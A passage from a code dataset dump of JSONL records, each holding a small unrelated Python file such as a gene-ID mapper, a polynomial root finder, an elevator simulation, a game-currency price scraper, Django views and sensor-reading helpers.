raise\n\ngets3content()\n","sub_path":"gets3content/gets3content.py","file_name":"gets3content.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"241856934","text":"#!/usr/bin/env python3\n\nimport sys\n\n#create dictionary to print key (FBGN) and ctab line corresponding\nfly_dict = {}\n\n##This function finds the last two columns in the fly.txt document\ndef fun_dict1(fname):\n\t##opent the file provided\n\tfor line in open(fname):\n\t\tif \"DROME\" and \"FBgn\" in line:\n\t\t\tfields = line.rstrip(\"\\r\\n\").split()\n\t\t\t#these two fields are the last two columns containing FlyBAse and UniProt \n\t\t\tfly_dict[fields[3]] = fields[2]\n\t\t\t\n\t\t\t\n##This function takes the gene name column in c-tab file to match to our dictionary containing the key FBGN and assigned Uniprot value\ndef fun_dict2(fname):\n\t##open file provided\n\tfor line in open(fname):\n\t\t##FBGn designated gene name so we cut for that\n\t\tif \"FBgn\" in line:\n\t\t\tfields = line.rstrip(\"\\r\\n\").split()\n\t\t\tif fields[8] in fly_dict.keys():\n\t\t\t\tprint(fly_dict[fields[8]], \"\\t\" ,line)\n\t\t\t\t##if the two documents do not correspond a FlyBase and genename together, then no Uniprot ID can be matched and \"No match\" prints out in the first column for reference. \n\t\t\telse:\n\t\t\t\tprint(\"No match\")\n\n##these commands are so important!!! They take the files you reference in the command line and reference them to your function via dictionary created\nOutput1 = fun_dict1(sys.argv[1])\nOutput2 = fun_dict2(sys.argv[2])","sub_path":"day2-homework/Fly_Dict.py","file_name":"Fly_Dict.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"169416304","text":"from pathlib import Path\nimport pandas as pd\nimport numpy as np\nfrom microdf import MicroDataFrame\nfrom openfisca_uk_data.utils import dataset\n\nNON_MONTHLY_VARIABLES = (\n    \"person_id\",\n    \"benunit_id\",\n    \"household_id\",\n    \"person_weight\",\n    \"lhw\",\n    \"dag\",\n)\n\n\n@dataset\nclass UKMODInput:\n    name = \"ukmod_input\"\n\n    def generate(tabfile: str, year: int):\n        tabfile = Path(tabfile)\n        # Read the input dataset and construct a weighted DataFrame\n        df = pd.read_csv(tabfile, delimiter=\"\\t\")\n        # Add IDs to match against OpenFisca-UK\n        df[\"person_id\"] = (\n            df.idorighh * 1e2 + df.idorigbenunit * 1e1 + df.idorigperson\n        ).astype(int)\n        df[\"benunit_id\"] = (df.idorighh * 1e2 + df.idorigbenunit * 1e1).astype(\n            int\n        )\n        df[\"household_id\"] = (df.idorighh * 1e2).astype(int)\n        df[\"person_weight\"] = df.dwt\n        df.set_index(\"person_id\", inplace=True)\n        for variable in df.columns:\n            if variable not in NON_MONTHLY_VARIABLES:\n                df[variable] *= 12\n        with pd.HDFStore(UKMODInput.file(year)) as f:\n            f[\"person\"] = pd.DataFrame(df)\n","sub_path":"openfisca_uk_data/datasets/frs/ukmod/ukmod_input.py","file_name":"ukmod_input.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"309462760","text":"from math import sqrt\n\ndef getCoefficients():\n    \"\"\"The user enters the coefficients here. For example: a,b,c from \n    ax^2 + bx + c = 0. They should keep their signs. The function will \n    return a list of coefficients.\"\"\"\n    array = list(map(int, input().split(\" \")))\n    return(array)\n    \ndef getPossibleRoots(a, b):\n    \"\"\"This function calculates all possible roots of some equation\n    using its first and last coefficients. Returns a list of all possible  \n    roots.\n    \n    a - the first coefficient\n    b - the last coefficient\n    \"\"\"\n    array = []\n    a_a = getDividers(a)\n    b_a = getDividers(b)\n    array.extend(b_a)\n    array.extend(list(map(lambda x: x * -1, b_a)))\n    for i in b_a:\n        for j in a_a:\n            if( not (i / j in array) ):\n                array.append(i/j)\n            if( not (-i / j in array) ):\n                array.append(-i/j)\n    return(array)\n    \ndef getDividers(value):\n    \"\"\"Finds dividers of some number. A number can also be less than 0.\n    Returns a list of dividers.\n    \n    value - the number.\n    \"\"\"\n    array = []\n    a = 1\n    b = 1\n    if(value < 0):\n        b = -1\n    while(a <= sqrt(b*value)):\n        c = b*value % a\n        d = b*value // a\n        if(c == 0):\n            array.append(b*a)\n            if(a != d):\n                array.append(b*d)\n        a+=1\n    return(array)\n    \ndef checkRoots(array_c, array_r):\n    \"\"\"Checks some root from list of all possible roots. If it makes the   \n    equation equals 0 then this function returns this number and a last \n    set of coefficients. \n    Returns a list which has a number - current root or the None value if\n    there is no solution as first item, and a list of numbers - last set\n    of coefficients as second one.\n    \n    array_c - the list of coefficients of start equation\n    array_r - the list of possible roots.\n    \"\"\"\n    for i in array_r:\n        answ = array_c[0]\n        temp = []\n        temp.append(answ)\n        for j in array_c[1:len(array_c)]:\n            answ = answ * i + j\n            temp.append(answ)\n        if(answ == 0):\n            temp.pop()\n            a = []\n            a.append(temp)\n            a.append(i)\n            return(a)\n    a = []\n    a.append(None)\n    a.append(array_c)\n    return(a)\n    \ndef getRoots(coefs, output):\n    \"\"\"Gets solutions of the equation. It does not return something - \n    this function changes an 'output' variable that should be a list.\n    If at any stage of solving any equation there would be no solutions\n    the function will save last set of coefficients in the output variable.\n    \n    coefs - the list of coefficients of the equation\n    output - here will be all solutions, it is a list\n    \"\"\"\n    if(type(output) != list):\n        output = []\n    possibleRoots = getPossibleRoots(coefs[0], coefs[len(coefs)-1])\n    roots = checkRoots(coefs, possibleRoots)\n    output.append(roots[1])\n    if(roots[0] != None):\n        getRoots(roots[0], output)\n    else:\n        if(type(output[len(output)-1] == list) and \\\n            len(output[len(output)-1]) == 1):\n            output.pop()\n           \ndef beautyView(array):\n    \"\"\"For printing solutions in a nice way.\n    Returns a string - the equation.\n    \n    array - the list of roots.\n    \"\"\"\n    output = \"\"\n    for i in array:\n        if(type(i) != list):\n            if(i > 0):\n                output += (\"(x - %s)\" % str(i))\n            elif(i < 0):\n                output += (\"(x + %s)\" % str(i*-1))\n        else:\n            output += \"(\"\n            for j in range(0, len(i)):\n                if(j != len(i)-1):\n                    bef = \"\"\n                    if(j != 0):\n                        bef += \" \"\n                                        \n                    st = len(i) -1 -j\n                    if(st == 1):\n                        st = \"\"\n                    else:\n                        st = \"^%s\" % st\n                    \n                    value = (i[j]**2)**0.5\n                    if(value % 1 == 0):\n                        value = int(value)\n                    if(value == 1 or value == -1):\n                        value = \"\"\n                        \n                    if(i[j] > 0):\n                        if(j != 0):\n                            bef += \"+\"\n                    else:\n                        bef += \"-\"\n                        \n                    if(value != \"\" and j != 0):\n                        bef += \" \"\n                        \n                    output += (\"%s%sx%s\" % (bef, value, st))\n                else:\n                    if(i[j] > 0):\n                        output += (\" + %s)\" % str(i[j]))\n                    elif(i[j] < 0):\n                        output += (\" - %s)\" % str(-1*i[j]))\n    output += \" = 0\"\n    return(output)\n    \ndef main():\n    \"\"\"Getting roots of some equation.\"\"\"\n    koefs = getCoefficients()\n    a = []\n    getRoots(koefs, a)\n    \n    print(\"Solutions: %s\"%str(list(filter(lambda x: type(x) != list, a))))\n    print(beautyView(a))\n    \nif(__name__ == \"__main__\"):\n    main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"643164625","text":"#!/usr/bin/env python\n\nimport json\nimport sys\n\ndef main():\n  input_filename = sys.argv[1]\n  output_filename = sys.argv[2]\n\n  output = {'trivia': []}\n\n  with open(input_filename, 'r') as input_file:\n    question = None\n    category = None\n    answer = None\n    regexp = None\n    for line in input_file:\n      if line[0] == '#':\n        continue\n      parsed = line.split(': ')\n      if len(parsed) < 2:\n        continue\n      var = parsed[0].strip()\n      val = ': '.join(parsed[1:]).strip().decode('utf8', 'ignore')\n      if var == 'Category':\n        category = val\n      elif var == 'Question':\n        question = val\n      elif var == 'Answer':\n        answer = val\n      elif var == 'Regexp':\n        regexp = val\n      if question and answer and category:\n        output['trivia'].append({\n          'question': question,\n          'answer': answer,\n          'category': category,\n          'regexp': regexp\n        })\n        question = None\n        answer = None\n        category = None\n        regexp = None\n  with open(output_filename, 'w') as output_file:\n    output_file.write(json.dumps(output, ensure_ascii=False, encoding='utf8', indent=2, separators=(',', ': ')))\n\nif __name__ == '__main__':\n  main()","sub_path":"tools/convert_from_moxquiz.py","file_name":"convert_from_moxquiz.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"426935124","text":"\r\nq = list()\r\np = list()\r\n\r\ndef countResult():\r\n    q = [0]*len(p)\r\n    for i in range(len(p)):\r\n        if p[i] == '+':\r\n            q[i] = 1\r\n        else:\r\n            q[i] = 0\r\n    changes = 0\r\n    for i in reversed(range(len(p))):\r\n        if (q[i] + changes) % 2 == 0:\r\n            changes += 1\r\n    return changes\r\n\r\nm = int(input())\r\nfor l in range(1,m+1):\r\n    p = list(input())\r\n    print(\"Case #\",l,\": \",countResult(), sep='')\r\n","sub_path":"codes/CodeJamCrawler/16_0_2_neat/16_0_2_mateuszj_pancakes.py","file_name":"16_0_2_mateuszj_pancakes.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"181160810","text":"import pytest\nimport ipaddress\nfrom simulationfiles.zone import Zone\n\n\n@pytest.fixture\ndef setup(thing):\n    thing.zone = Zone()\n    return thing\n\n\ndef test_get_ip(setup):\n    ip = setup.zone.get_ip(100)\n\n    assert ip == ipaddress.IPv4Address('240.1.0.1')\n    assert setup.zone.zones[100].latency == 100\n    assert setup.zone.zones[100].network == ipaddress.ip_network('240.1.0.0/16')\n\n\ndef test_get_ip_second_time_same_latency(setup):\n    setup.zone.get_ip(100)\n    ip = setup.zone.get_ip(100)\n\n    assert ip == ipaddress.IPv4Address('240.1.0.2')\n\n\ndef test_get_ip_second_time_different_latency(setup):\n    setup.zone.get_ip(100)\n    ip = setup.zone.get_ip(0)\n\n    assert ip == ipaddress.IPv4Address('240.2.0.1')\n","sub_path":"code/tests/test_zone.py","file_name":"test_zone.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"264339423","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2013 Sylvain Boily <sboily@proformatique.com>\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom flask.ext.couchdb import Document, TextField, IntegerField, DateTimeField, ListField, DictField, Mapping\nfrom datetime import datetime\n\nclass Messages(Document):\n    user_id = IntegerField()\n    displayname = TextField()\n    organisation_id = IntegerField()\n    content = TextField()\n    added = DateTimeField(default=datetime.now)\n    like = ListField(DictField(Mapping.build(\n        user_id = IntegerField(),\n        displayname = TextField(),\n        organisation_id = IntegerField(),\n        added = DateTimeField(default=datetime.now),\n        is_like = IntegerField()\n    )))\n    comments = ListField(DictField(Mapping.build(\n        user_id = TextField(),\n        displayname = TextField(),\n        organisation_id = IntegerField(),\n        content = TextField(),\n        added = DateTimeField(default=datetime.now)\n    )))\n","sub_path":"social/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"83216259","text":"# !/usr/bin python3\n# -*-coding:utf-8 -*-\n\nimport re\nimport chardet\nimport pandas as pd\nimport numpy as np\nfrom urllib import request\nfrom bs4 import BeautifulSoup\nfrom time import localtime\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nimport pymysql.cursors\n\ntax = {'拍卖交易':0.97,'当面交易':0.97,'邮寄交易':0.95}\n# 伪装Header\ndef getHTML(url):\n    headers = {\n        'User-Agent': 'User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}\n    req = request.Request(url, headers=headers)\n    return request.urlopen(req)\n\ndef parserHtml(url, elements, attr):\n    \"\"\"\n    :param url:网址\n    :param elements:元素\n    :param attr: 属性\n    :return: 需要的商品信息\n    \"\"\"\n    response = getHTML(url)\n    html = response.read()\n    code_style = chardet.detect(html)['encoding']\n    html.decode(code_style)\n\n    #测试html文件\n    #with open('html.txt', 'wb') as f:\n    #    f.write(html)\n\n    bs_obj = BeautifulSoup(html, 'html.parser')\n    #网站内容解析\n    content = bs_obj.find_all('ul', class_ = 'splb_list')\n    response.close()\n    print(\"网站信息读取完成 \")\n    return content\n\n\ndef parserInfo(content):\n    \"\"\"\n    :param content: 网页经过bs4处理后的数据\n    :return: [(交易方式str，总价float，总金币数float，库存int，比例float)]\n    \"\"\"\n    result = []\n    for good in content:\n        good_info = good.text\n        good_info = good_info.replace('\\n\\n', ' ')\n        good_info = good_info.replace('\\n\\r', ' ')\n        good_info = good_info.replace('\\r\\n', ' ')\n        good_info = good_info.replace('\\n', ' ')\n        good_info = ' '.join(good_info.split())\n        # print(repr(good_info))\n        # 获取交易方式和总价\n        exchange_info_pat = re.compile(r'【(.*)】(.+?)元=(.+?)万金')\n        exchange_info = exchange_info_pat.findall(good_info)\n        if len(exchange_info) > 0:\n            exchange_way, total_rmb, total_yxb = exchange_info[0]\n            # 格式转换\n            exchange_way = str(exchange_way).strip()\n            total_rmb = float(total_rmb)\n            total_yxb = float(total_yxb)\n            #print('交易方式:', exchange_way)\n            #print('总价:', total_rmb, '元')\n            #print('总金币数:', total_yxb, '万')\n        # 获取库存\n        stock_pat = re.compile(r'商品\\s(.+?)\\s1元')\n        stock_info = stock_pat.findall(good_info)\n        if len(stock_info) > 0:\n            stock = stock_info[0]\n            #print('库存:', stock)\n            stock = int(stock)\n        # 获取金币比例\n        \"\"\"\n        rate_pat = re.compile(r'1元=(.+?)万金')\n        rate_info = rate_pat.findall(good_info)\n        if len(rate_info) > 0:\n            rate = rate_pat.findall(good_info)[0]\n            #print('比例: 1:', rate, '万')\n            rate = float(rate)\n        \"\"\"\n        rate = total_yxb/total_rmb\n        result.append((exchange_way, total_rmb, total_yxb, stock, rate))\n    print(\"商品信息解析完成\")\n    return result\n\n# 增值计算\ndef dataProcess(data):\n    cols = ['交易方式','总价','游戏币','库存','比例']\n    #格式转换\n    data = np.array(data)\n    df = pd.DataFrame(data)\n    df.columns = cols\n    # 格式转换\n    df = df.apply(pd.to_numeric,errors='ignore')\n    #显示结果\n    #print(\"{}\\n\".format(df))\n    df['税后游戏币'] = df['游戏币'] * pd.Series([tax[x] for x in df['交易方式']])\n    df['税后比例'] = df['税后游戏币']/df['总价']\n    print(\"数据统计完成\")\n    return df\n\n#执行函数\ndef work():\n    url = 'http://www.uu898.com/newTrade.aspx?gm=95&area=2325&srv=25025&c=-3&sa=0'\n    elements = 'divCommodityLst'\n    attr = 'clearfix'\n    content = parserHtml(url, elements, attr)\n    goods = parserInfo(content)\n    # print(goods)\n    df = dataProcess(goods)\n    df = df.sort_values(by=['税后比例','比例'],ascending = False)\n    # print(df)\n    web_rate = max(df['比例'])\n    real_rate = max(df['税后比例'])\n    ct = localtime()\n    tm = \"{:0>2d}:{:0>2d}\".format(ct.tm_hour, ct.tm_min)\n    # 写时间戳\n    with open(\"currentInfo.txt\",'w') as f:\n        f.writelines(\"上次数据更新时间\")\n        f.writelines(tm)\n        f.writelines('\\n')\n    # 写html文件\n    with open(\"currentdata.html\",'w') as f:\n        f.write(df.sort_values(by=['税后比例','比例'],ascending = False).to_html())\n    # 读写数据库\n\n    db_host = \"localhost\"\n    db_user = \"root\"\n    db_passwd = \"password\"\n    db_name = \"yxb_info\"\n    db = pymysql.connect(host = db_host, user = db_user, port = 3306,passwd = db_passwd, db = db_name)\n    # 读写数据文件(excel)\n    cursor = db.cursor()\n    exec = 'insert into YXB(acquire_time,web_rate,real_rate) values(now(),{}, {});'.format(web_rate, real_rate)\n    print(exec)\n    cursor.execute(exec)\n    db.commit()\n    db.close()\n    print(\"数据文件读写完成 \")\n\n\n\nif __name__ == '__main__':\n    sched = BlockingScheduler()\n    sched.add_job(work, 'interval', max_instances = 10, seconds = 60)\n    sched.start()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"313082481","text":"import random\nfrom time import sleep\n\nfrom asciimatics.screen import Screen\n\nfrom model import Elevator, Rider\nfrom strategy import next_stop\nfrom utils import Timer\n\nFRAME_W = 150\nELEV_W = 11\n\n\ndef draw_rect(screen, w, h, x, y, hchar='#', vchar='|'):\n    # top\n    screen.move(x, y)\n    screen.draw(x + w, y, char=hchar)\n\n    # right\n    screen.move(x + w - 1, y + 1)\n    screen.draw(x + w - 1, y + h - 1, char=vchar)\n\n    # bottom\n    screen.move(x + w - 1, y + h - 1)\n    screen.draw(x - 1, y + h - 1, char=hchar)\n\n    # left\n    screen.move(x, y + h - 2)\n    screen.draw(x, y, char=vchar)\n\n\nclass Display(object):\n    def __init__(self, screen, floor_count, elev_count, game):\n        self.screen = screen\n        self.floor_count = floor_count\n        self.elev_count = elev_count\n        self.game = game\n\n        self.frame_w, self.frame_h, self.frame_x, self.frame_y = FRAME_W, floor_count + 2, 3, 3\n        self.frame_x2, self.frame_y2 = self.frame_x + self.frame_w - 1, self.frame_y + self.frame_h - 1\n\n        # draw frame\n        draw_rect(self.screen, self.frame_w, self.frame_h, self.frame_x, self.frame_y)\n\n        # draw elevator shafts\n        for i in xrange(elev_count):\n            draw_rect(self.screen, ELEV_W, self.frame_h, self.frame_x2 - (ELEV_W - 1) * (i + 1), self.frame_y)\n\n    def print_elevator(self, i, n, c='@', color=Screen.COLOUR_WHITE):\n        # self.s.print_at(c, frame_x2 - (elev_w - 1) * (i + 1) + elev_w / 2, frame_y + frame_h - 2 - n, color)\n        self.screen.print_at(c, self.frame_x2 - (ELEV_W - 1) * (i + 1) + 1, self.frame_y + self.frame_h - 2 - n, color)\n\n    def update_display(self, elevators, floors):\n\n        # elevator positions\n        for i, e in enumerate(elevators):\n            self.print_elevator(i, e.old_pos, c=' ' * (len(str(e)) + 2))\n            self.print_elevator(i, e.pos, c=str(e), color=e.state)\n\n        # rider counds\n        for f in xrange(len(floors)):\n            m = len(floors[f])\n            self.screen.print_at(' ' * 20, self.frame_x + 2, self.frame_y + self.frame_h - 2 - f)\n\n            label = '{:<10}{:<3}({})'.format('*' * min(m, 10), '...' if m > 10 else '', m)\n            self.screen.print_at(label, self.frame_x + 2, self.frame_y + self.frame_h - 2 - f)\n\n        # stats:\n        self.screen.print_at(' ' * self.frame_w, self.frame_x, self.frame_y - 1)\n        self.screen.print_at(\n            'Time: {:<6.1f}, Produced: {:<6}, Delivered: {:<6} ({:<2.0f}%), Died: {:<6} ({:2.0f}%)'.format(\n                Timer.timer(self.game).time(),\n                self.game.produced,\n                self.game.delivered,\n                100.0 * self.game.delivered / self.game.produced,\n                self.game.died,\n                100.0 * self.game.died / self.game.produced,\n            ),\n            self.frame_x,\n            self.frame_y - 1\n        )\n\n        self.screen.refresh()\n\n\nclass Game(object):\n    def __init__(self, screen, floor_count, elev_count, life_expectancy, rps):\n\n        self.life_expectancy = life_expectancy\n        self.rps = rps\n\n        self.display = Display(screen, floor_count, elev_count, self)\n\n        self.floors = [list() for _ in xrange(floor_count)]\n        self.elevators = [Elevator(random.randint(0, floor_count - 1)) for _ in xrange(elev_count)]\n\n        self.timer = Timer.timer(self)\n\n        self.delivered = 0\n        self.produced = 0\n        self.died = 0\n\n    def move_elevators(self):\n\n        for i, e in enumerate(self.elevators):\n            e.old_pos = e.pos\n\n            if e.pos < e.target:\n                e.pos += 1\n            elif e.pos > e.target:\n                e.pos -= 1\n            else:\n                e.pos = e.old_pos\n\n    def generate_riders(self):\n        pool = range(len(self.floors))\n        for _ in xrange(self.rps):\n            s, t = random.sample(pool, 2)\n            self.floors[s].append(Rider(t))\n            self.floors[s][-1].init_time = self.timer.time()\n            self.produced += 1\n\n    def update_state(self):\n        self.handle_stopped()\n        self.kill_riders()\n        self.move_elevators()\n        self.update_elevator_state()\n        self.generate_riders()\n\n    def handle_stopped(self):\n        for e in self.elevators:\n            if e.state == Elevator.IDLE:\n                # reload\n                d = len(e.load)\n                e.load = [r for r in e.load if r.target != e.pos]\n                d -= len(e.load)\n                self.delivered += d\n\n                d = e.CAPACITY - len(e.load)\n                e.load += self.floors[e.pos][:d]\n                del self.floors[e.pos][:d]\n\n                # compute next stop\n                t = next_stop(e.pos, [r.target for r in e.load], map(len, self.floors), e.ctx)\n                e.target = t if t is not None else e.pos\n                assert 0 <= e.target < len(self.floors)\n\n    def kill_riders(self):\n        now = self.timer.time()\n        for floor in self.floors:\n            d = len(floor)\n            floor[:] = [r for r in floor if now - r.init_time < self.life_expectancy]\n            d -= len(floor)\n            self.died += d\n\n    def update_elevator_state(self):\n        for e in self.elevators:\n            if e.pos == e.target:\n                e.state = Elevator.IDLE\n            else:\n                if e.load:\n                    e.state = Elevator.SEND\n                else:\n                    e.state = Elevator.FETCH\n\n    def update(self):\n\n        self.update_state()\n        self.display.update_display(self.elevators, self.floors)\n\n\ndef elev(\n        life_expectancy,\n        floor_count,\n        elev_count,\n        fast_mode,\n        game_time,\n        game_second,\n        rps\n):\n    def main(s):\n\n        g = Game(s, floor_count, elev_count, life_expectancy, rps)\n\n        t = Timer.timer(g)\n\n        while t.time() < game_time:\n\n            current_frame = t.time()\n\n            g.update()\n\n            d = game_second - (t.time() - current_frame)\n            if d > 0:\n                if fast_mode:\n                    t.skip(d)\n                else:\n                    sleep(d)\n\n    try:\n        Screen.wrapper(main)\n    except KeyboardInterrupt:\n        pass\n\n\nelev(\n    life_expectancy=4,\n    floor_count=40,\n    elev_count=12,\n    fast_mode=False,\n    game_time=100,\n    game_second=.2,\n    rps=4\n)\n","sub_path":"elev.py","file_name":"elev.py","file_ext":"py","file_size_in_byte":6281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"233287557","text":"import Queue as queue\n\nclass Node(object):\n    def __init__(self, value, left=None, right=None):\n        self.value = value\n        self.left  = left\n        self.right = right\n\n    def children(self):\n        children = []\n        if self.left:\n            children.append(self.left)\n        if self.right:\n            children.append(self.right)\n        return children\n\ndef get_tree():\n    return Node('1',\n        Node('2',\n            Node('4',\n                Node('8'),\n                Node('9')\n            ),     \n            Node('5',\n                Node('10'),\n                Node('11')\n            )\n        ),\n        Node('3',\n            Node('6',\n                Node('12'),\n                Node('13')\n            ),\n            Node('7',\n                Node('14'),\n                Node('15')\n            )\n        )\n    )\n\ndef breadth_first_values(root):\n    q = queue.Queue()\n    q.put(root)\n    values = []\n    while not q.empty():\n        node = q.get()\n        values.append(node.value)\n        for c in node.children():\n            q.put(c)\n    return values\n\ndef depth_first_values(node):\n    values = []\n    for c in node.children():\n        values.extend(depth_first_values(c))\n    values.append(node.value)\n    return values\n","sub_path":"algos/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"119787791","text":"from mpu6050_class import MPU6050\n\nsensor = MPU6050()\n\ndef run_mpu6050():\n    while True:\n        sensor.update_gyro_data_deg()\n        sensor.update_accel_data_g()\n        sensor.update_temp()\n\ndef get_gyro_data():\n    gyro_x = sensor.gyro_x\n    gyro_y = sensor.gyro_y\n    gyro_z = sensor.gyro_z\n    return gyro_x, gyro_y, gyro_z\n\ndef get_accl_data():\n    accl_x = sensor.accl_x\n    accl_y = sensor.accl_y\n    accl_z = sensor.accl_z\n    return accl_x, accl_y, accl_z\n\n\ndef get_temp_data():\n    temp = sensor.temp\n    return temp\n","sub_path":"mpu6050_threading.py","file_name":"mpu6050_threading.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"227275306","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom .models import Exhibition\nfrom work.models import Artwork\n\n\ndef index(request):\n    exhibitions = Exhibition.objects.all()\n    context = {'exhibitions': exhibitions}\n    return render(request, 'exhibitions/index.html', context)\n\n\ndef exhibition_detail(request, pk):\n    exhibition = Exhibition.objects.get(pk=pk)\n    first_exhibition_image = exhibition.images.first()\n    other_exhibition_images = exhibition.images.all()[1:]\n    artworks = Artwork.objects.filter(exhibitions=pk)\n    context = {\n        'exhibition': exhibition,\n        'first_exhibition_image': first_exhibition_image,\n        'other_exhibition_images': other_exhibition_images,\n        'artworks': artworks\n    }\n    return render(request, 'exhibitions/exhibition_detail.html', context)\n","sub_path":"natashalall/exhibitions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"638027209","text":"import general_lp_interface as lp\nimport group_testing_function as gtf\nimport numpy as np\nimport scipy.spatial.distance as sd\nimport matplotlib.pyplot as plt\n\n\nn = 100\n\n\nnoiseless = False\nclass trial:\n    def __init__(self, var):\n        self.E = [] #on number of tests\n        self.P = []\n        self.t_e = [] #temporary error\n        self.t_h = [] #temporary hamming distance\n        self.var = var\n\ndef main():\n    x, k = gtf.generate_input(n, 5/n)\n\n\n    #avoid k = 0, trivial example\n    while k != 4:\n        x, k = gtf.generate_input(n, 5 / n)\n\n    noise_probability = 0.0\n\n    T = [1, int(n / (5* np.log2(n)) +1)]\n\n    # generate T\n    i = 1\n    # until we reach the condition of success have more dense trials\n    while T[i] < k * np.log2(n / k):\n        if T[i] - T[i - 1] > 1:\n            T.append(int(2 * T[i] - T[i - 1] - 1))\n        else:\n            T.append(int(T[i] + 1))\n        i += 1\n\n\n    #dense trials around k* log2(n/k)\n    while T[i] < n:\n        T.append(int(2 * T[i] - T[i - 1] + 1))\n\n        i += 1;\n\n    #T = [1, 10, 30]\n\n    nw_trials = []\n\n    noise_weight = [0.0]\n\n    for i in noise_weight:\n        nw_trials.append(trial(i))\n\n    #for every t number of tests\n    for t in T:\n        print(t)\n\n        for tr in nw_trials:\n            tr.t_e = [] #blank temporary\n            tr.t_h = [] #blank temporary\n\n        for i in range(5):\n            a = gtf.generate_pool_matrix(n, k, t)\n\n            for tr in nw_trials:\n                y = gtf.get_results(t, a, x, noiseless, noise_probability)\n\n                r = lp.solve(y, a, n, noiseless)[:n]\n\n                #calculating hamming distance between model result and input x\n\n                hamming_distance = (n)*sd.hamming(x,r)\n                tr.t_h.append(hamming_distance)\n\n                #there's an error?\n                if hamming_distance > 0:\n                    tr.t_e.append(1)\n                else:\n                    tr.t_e.append(0)\n\n        for tr in nw_trials:\n            tr.E.append(np.mean(tr.t_h))\n            tr.P.append(1 - np.mean(tr.t_e))\n\n    X = []\n    for i in range(len(T)):\n        X.append(k * np.log2(n / k))\n\n    for tr in nw_trials:\n\n        plt.plot(T, tr.P, \"bo\")\n        plt.plot(X, tr.P, \"r\")\n        plt.plot(T, tr.P, \"g\")\n        plt.title(\"Error trend of Max_Sat applied to Group Testing with  n = \" + str(n) + \" k = \" + str(k))\n        plt.xlabel(\"Number of tests t\")\n        plt.ylabel(\"Probability of success\")\n        plt.savefig(\"PS, n = \" + str(n) + \" k = \" + str(k) + \"noisy_weight = \" + str(tr.var) + \".png\")\n        plt.show()\n\n        plt.plot(T, tr.E, \"bo\")\n        plt.plot(X, tr.E, \"r\")\n        plt.plot(T, tr.E, \"g\")\n        plt.title(\"Error trend of Max_Sat applied to Group Testing with  n = \" + str(n) + \" k = \" + str(k))\n        plt.xlabel(\"Number of tests t\")\n        plt.ylabel(\"Error (Hamming Distance)\")\n        plt.savefig(\"HD, n = \" + str(n) + \" k = \" + str(k) + \"noisy_weight = \" + str(tr.var) + \".png\")\n        plt.show()\n\n\n\nmain()","sub_path":"LP-Relax-Main.py","file_name":"LP-Relax-Main.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"646618925","text":"n=int(input())\nzisyo={}\ncount=0\nfor i in range(n):\n    s=\"\".join(sorted(input()))#間を開けないでSORT\n    if s in zisyo:\n        zisyo[s]+=1\n        count+=zisyo[s]\n    else:\n        zisyo[s]=0\nprint(count)\n","sub_path":"辞書型/137-C.py","file_name":"137-C.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
